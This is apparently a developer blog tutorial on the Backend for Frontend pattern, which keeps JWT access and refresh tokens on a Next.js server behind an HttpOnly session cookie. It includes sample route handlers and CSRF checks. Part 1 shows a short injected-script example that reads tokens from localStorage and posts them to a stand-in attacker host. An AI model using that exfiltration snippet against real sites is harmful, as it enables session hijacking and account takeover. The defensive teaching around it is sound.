Back to blog

BFF Pattern: Securing JWT Refresh Tokens

securityjwtauthenticationbffbackend
BFF Pattern: Securing JWT Refresh Tokens

If your SPA stores a JWT refresh token in localStorage, you have a problem. Any JavaScript running on your page — including injected scripts from XSS attacks — can read it, exfiltrate it, and use it to impersonate your users indefinitely.

The BFF (Backend for Frontend) pattern provides an architectural solution: move token management to the server, and the browser never touches a long-lived secret.

What You'll Learn

✅ Why storing JWT tokens in the browser is dangerous
✅ What the BFF pattern is and how it applies to authentication
✅ How BFF keeps refresh tokens server-side in HttpOnly cookies
✅ The complete token refresh flow with BFF
✅ How to implement this in Next.js with Route Handlers
✅ Trade-offs and when this pattern makes sense


Part 1: The Problem — Tokens in the Browser

How JWT Auth Usually Works

A typical JWT authentication flow for a Single Page Application:

  1. User logs in with credentials
  2. Auth server returns an access token (short-lived, e.g. 15 minutes) and a refresh token (long-lived, e.g. 30 days)
  3. SPA stores both tokens — usually in localStorage or sessionStorage
  4. SPA uses the access token on API calls
  5. When the access token expires, SPA uses the refresh token to get a new access token

The Attack Surface

The problem is step 2: both tokens live in the browser.

XSS (Cross-Site Scripting) is the most common web vulnerability. If an attacker can inject JavaScript into your page — through a third-party script, a vulnerability in a dependency, or an unsanitized user input — they can do this:

// Attacker's injected script — steals your tokens
const refreshToken = localStorage.getItem('refresh_token')
const accessToken = localStorage.getItem('access_token')
 
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({ refreshToken, accessToken }),
})

With the refresh token, the attacker can generate new access tokens whenever they want. The access token expires in 15 minutes — but the refresh token gives them persistent access for 30 days.

This is a critical severity vulnerability. The refresh token is essentially a long-lived password.

What About HttpOnly Cookies?

You may have heard the advice: "store tokens in HttpOnly cookies instead of localStorage." That's correct — HttpOnly cookies cannot be read by JavaScript. But if you just move your tokens to cookies without changing your architecture, you introduce CSRF vulnerabilities instead.

The right solution isn't just where you store the token — it's who has access to it. If the refresh token never reaches the browser at all, it cannot be stolen.

That's what BFF enables.


Part 2: The BFF Solution

Core Idea

In the BFF model, your Next.js server (or any server-side layer) acts as the intermediary between the browser and the auth server:

  • The access token lives only on the server
  • The refresh token lives only on the server
  • The browser gets a session cookie (HttpOnly, Secure, SameSite=Strict) pointing to a server-side session
  • JavaScript running in the browser has no access to any JWT

The browser never sees an access token or refresh token. It only has a session cookie — and HttpOnly cookies cannot be read by JavaScript.

Why This Is More Secure

AttacklocalStorage TokensBFF + HttpOnly Session Cookie
XSSTokens stolen by injected JSCookie not readable by JS — attack fails
CSRFNot applicable (localStorage)Mitigated with SameSite=Strict + CSRF tokens
Token theft via networkTokens visible in JS memoryTokens never leave the server
Persistent access after XSSRefresh token gives 30-day accessSession can be invalidated server-side immediately
Log outClient deletes token (unreliable)Server invalidates session — guaranteed

The BFF pattern doesn't eliminate all attacks, but it moves your secrets off a surface that JavaScript can reach.


Part 3: Implementing BFF Auth in Next.js

Let's build the token-secure auth flow with Next.js Route Handlers.

Setup: Session Store

You need somewhere to store tokens server-side. Options:

  • Redis (recommended for production) — fast, supports TTL, horizontally scalable
  • Database — simpler, but adds query overhead per request
  • Encrypted cookie — stateless, but tokens are still transmitted (just encrypted)

For this example, we'll use an in-memory store to illustrate the concept clearly. Replace with Redis in production.

// lib/session-store.ts
import { randomUUID } from 'crypto'
 
interface Session {
  accessToken: string
  refreshToken: string
  accessTokenExpiry: number
  userId: string
}
 
// In production, use Redis: new Redis(process.env.REDIS_URL)
const sessions = new Map<string, Session>()
 
export function createSession(data: Omit<Session, never>): string {
  const sessionId = randomUUID()
  sessions.set(sessionId, data)
  return sessionId
}
 
export function getSession(sessionId: string): Session | null {
  return sessions.get(sessionId) ?? null
}
 
export function updateSession(sessionId: string, data: Partial<Session>): void {
  const existing = sessions.get(sessionId)
  if (existing) {
    sessions.set(sessionId, { ...existing, ...data })
  }
}
 
export function deleteSession(sessionId: string): void {
  sessions.delete(sessionId)
}

Step 1: Login Route Handler

The BFF receives credentials, forwards them to the auth server, and stores the returned tokens server-side.

// app/api/auth/login/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { createSession } from '@/lib/session-store'
 
export async function POST(request: NextRequest) {
  const { email, password } = await request.json()
 
  // Forward credentials to auth server
  const tokenResponse = await fetch(`${process.env.AUTH_SERVER_URL}/oauth/token`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      grant_type: 'password',
      username: email,
      password,
      client_id: process.env.AUTH_CLIENT_ID,
      client_secret: process.env.AUTH_CLIENT_SECRET,
    }),
  })
 
  if (!tokenResponse.ok) {
    return NextResponse.json({ error: 'Invalid credentials' }, { status: 401 })
  }
 
  const { access_token, refresh_token, expires_in, user_id } = await tokenResponse.json()
 
  // Store tokens on the server — never sent to the browser
  const sessionId = createSession({
    accessToken: access_token,
    refreshToken: refresh_token,
    accessTokenExpiry: Date.now() + expires_in * 1000,
    userId: user_id,
  })
 
  const response = NextResponse.json({ success: true })
 
  // Only the session ID goes to the browser, in an HttpOnly cookie
  response.cookies.set('session_id', sessionId, {
    httpOnly: true,   // Not readable by JavaScript
    secure: true,     // HTTPS only
    sameSite: 'strict', // Blocks cross-site requests
    maxAge: 30 * 24 * 60 * 60, // 30 days (matches refresh token lifetime)
    path: '/',
  })
 
  return response
}

Step 2: Authenticated API Proxy

Any API call from the browser goes through the BFF. The BFF reads the session, injects the access token, and handles token refresh transparently.

// lib/auth-fetch.ts
import { cookies } from 'next/headers'
import { getSession, updateSession } from '@/lib/session-store'
 
export async function authenticatedFetch(
  url: string,
  options: RequestInit = {}
): Promise<Response> {
  const cookieStore = await cookies()
  const sessionId = cookieStore.get('session_id')?.value
 
  if (!sessionId) {
    throw new Error('No session')
  }
 
  let session = getSession(sessionId)
  if (!session) {
    throw new Error('Session not found')
  }
 
  // Refresh access token if expired (with 30s buffer)
  if (Date.now() > session.accessTokenExpiry - 30_000) {
    const refreshed = await refreshAccessToken(session.refreshToken)
 
    updateSession(sessionId, {
      accessToken: refreshed.access_token,
      accessTokenExpiry: Date.now() + refreshed.expires_in * 1000,
    })
 
    session = getSession(sessionId)!
  }
 
  // Inject the access token — browser never sees it
  return fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      Authorization: `Bearer ${session.accessToken}`,
    },
  })
}
 
async function refreshAccessToken(refreshToken: string) {
  const response = await fetch(`${process.env.AUTH_SERVER_URL}/oauth/token`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      grant_type: 'refresh_token',
      refresh_token: refreshToken,
      client_id: process.env.AUTH_CLIENT_ID,
      client_secret: process.env.AUTH_CLIENT_SECRET,
    }),
  })
 
  if (!response.ok) {
    throw new Error('Token refresh failed')
  }
 
  return response.json()
}

Step 3: BFF Data Endpoint

// app/api/user/profile/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { authenticatedFetch } from '@/lib/auth-fetch'
 
export async function GET(request: NextRequest) {
  try {
    const response = await authenticatedFetch(
      `${process.env.API_BASE_URL}/users/me`
    )
 
    if (!response.ok) {
      return NextResponse.json({ error: 'Upstream error' }, { status: response.status })
    }
 
    const data = await response.json()
 
    // Shape the response for the frontend — only send what's needed
    return NextResponse.json({
      id: data.id,
      name: data.name,
      email: data.email,
      avatarUrl: data.profile_picture_url,
    })
  } catch (error) {
    if ((error as Error).message === 'No session') {
      return NextResponse.json({ error: 'Unauthorized' }, { status: 401 })
    }
    return NextResponse.json({ error: 'Internal error' }, { status: 500 })
  }
}

Step 4: Logout — Guaranteed Invalidation

// app/api/auth/logout/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { cookies } from 'next/headers'
import { deleteSession } from '@/lib/session-store'
 
export async function POST(request: NextRequest) {
  const cookieStore = await cookies()
  const sessionId = cookieStore.get('session_id')?.value
 
  if (sessionId) {
    // Invalidate the session on the server
    deleteSession(sessionId)
  }
 
  const response = NextResponse.json({ success: true })
 
  // Clear the session cookie
  response.cookies.set('session_id', '', {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 0,
    path: '/',
  })
 
  return response
}

This is a major security advantage over client-side token storage: when the user logs out, the server destroys the session. Even if an attacker captured the session cookie, it's immediately invalid. With localStorage tokens, the attacker keeps working tokens until they naturally expire.


Part 4: Using It from the Browser

The browser now calls your BFF endpoints — not the auth server or upstream API directly. No token handling required.

// hooks/useAuth.ts
'use client'
 
export function useAuth() {
  async function login(email: string, password: string) {
    const response = await fetch('/api/auth/login', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ email, password }),
      credentials: 'include', // Include cookies in request
    })
 
    if (!response.ok) throw new Error('Login failed')
    // No tokens to store — session cookie set automatically by browser
    return response.json()
  }
 
  async function logout() {
    await fetch('/api/auth/logout', {
      method: 'POST',
      credentials: 'include',
    })
    // Session is destroyed on server — no local cleanup needed
  }
 
  return { login, logout }
}
// Fetching data — no token handling in the browser
async function loadUserProfile() {
  const response = await fetch('/api/user/profile', {
    credentials: 'include',
  })
 
  if (response.status === 401) {
    // Redirect to login
    window.location.href = '/login'
    return
  }
 
  return response.json()
}

The browser code is simpler too: no token storage, no expiry tracking, no refresh logic. That all lives in the BFF.


Part 5: With Next.js Server Components

The security benefit extends naturally to Server Components, which run entirely on the server:

// app/dashboard/page.tsx (Server Component)
import { cookies } from 'next/headers'
import { getSession } from '@/lib/session-store'
import { authenticatedFetch } from '@/lib/auth-fetch'
import { redirect } from 'next/navigation'
 
export default async function DashboardPage() {
  const cookieStore = await cookies()
  const sessionId = cookieStore.get('session_id')?.value
 
  if (!sessionId || !getSession(sessionId)) {
    redirect('/login')
  }
 
  // Access token used directly on the server — browser never involved
  const response = await authenticatedFetch(`${process.env.API_BASE_URL}/dashboard`)
  const data = await response.json()
 
  return <Dashboard data={data} />
}

In this model:

  • The session cookie goes from browser to Next.js server
  • Next.js reads the session, gets the access token
  • Next.js calls the upstream API with the access token
  • The browser receives rendered HTML — no tokens transmitted

The access token never leaves the server environment. This is the strictest possible model.


Part 6: Security Considerations

CSRF Protection

HttpOnly cookies are not readable by JavaScript, but they are automatically sent by the browser on cross-site requests. This opens the door to CSRF attacks.

Mitigate with:

  1. SameSite=Strict — the most important defense. Prevents cookies from being sent on cross-site requests entirely.
  2. Double Submit Cookie Pattern — send a CSRF token in both a cookie and a request header; the server verifies they match.
  3. Custom Request Header — require a custom header (e.g. X-Requested-With: XMLHttpRequest) that cross-site requests can't set.
// CSRF token validation middleware example
export async function validateCsrf(request: NextRequest) {
  const cookieCsrf = request.cookies.get('csrf_token')?.value
  const headerCsrf = request.headers.get('X-CSRF-Token')
 
  if (!cookieCsrf || cookieCsrf !== headerCsrf) {
    return NextResponse.json({ error: 'CSRF validation failed' }, { status: 403 })
  }
}

Session Fixation

Always regenerate the session ID after login to prevent session fixation attacks:

// After successful login, invalidate old session and create new one
export async function POST(request: NextRequest) {
  const oldSessionId = request.cookies.get('session_id')?.value
  if (oldSessionId) deleteSession(oldSessionId) // Clean up old session
 
  const sessionId = createSession({ /* new session data */ })
  // ...set new session cookie
}

Token Lifetime Alignment

Align your server-side session TTL with the refresh token lifetime. If the refresh token expires in 30 days, the session should also expire in 30 days. Use Redis TTL to handle this automatically.

// Redis-based session with automatic TTL
await redis.setex(`session:${sessionId}`, 30 * 24 * 60 * 60, JSON.stringify(session))

Refresh Token Rotation

Use refresh token rotation: every time a refresh is performed, the auth server issues a new refresh token and invalidates the old one. This limits the blast radius if a refresh token is ever compromised at the server level.


Part 7: Trade-offs

Advantages

  • No tokens in the browser — eliminates the entire class of JS-based token theft
  • Guaranteed logout — server-side session invalidation is reliable
  • Simpler browser code — no token management logic in the frontend
  • Centralized token refresh — one place to update when auth logic changes
  • Session revocation — you can invalidate any session at any time (e.g., password change, suspicious activity)

Disadvantages

  • Server-side state — sessions require a server-side store (Redis), adding infrastructure
  • Horizontal scaling — sessions must be accessible across all server instances (Redis handles this)
  • Latency — every request requires a session lookup
  • Not suitable for pure static sites — requires a server layer; doesn't apply to CDN-served apps with no backend

When to Use This Pattern

Use BFF token management when:

  • You have a Next.js app (or any app with a server layer)
  • You handle sensitive data where token theft would be critical
  • You need reliable logout (healthcare, finance, enterprise)
  • You want to simplify frontend auth code

Stick with client-side token storage when:

  • You have a truly static site with no server layer
  • You're building a public app where session invalidation isn't critical
  • Your access tokens are extremely short-lived (under 5 minutes) and you accept the XSS risk for refresh

Summary

The core insight is simple: a secret that never reaches the browser cannot be stolen from the browser.

The BFF pattern applied to JWT auth means:

  • User logs in → BFF exchanges credentials for tokens with the auth server
  • Tokens stored on the server in a session store
  • Browser receives only a session cookie (HttpOnly, not accessible to JavaScript)
  • Every browser request to the BFF → BFF reads session → injects access token → calls upstream API
  • Token refresh happens transparently on the server — browser doesn't know or care
  • Logout destroys the server session — tokens are immediately invalidated

This eliminates the XSS-based token theft attack entirely. It adds server infrastructure (session store) but simplifies frontend code and gives you reliable session control.

In a Next.js app, this is straightforward to implement with Route Handlers and Server Components — the server layer already exists as part of your architecture.

Further Reading

📬 Subscribe to Newsletter

Get the latest blog posts delivered to your inbox every week. No spam, unsubscribe anytime.

We respect your privacy. Unsubscribe at any time.

💬 Comments

Sign in to leave a comment

We'll never post without your permission.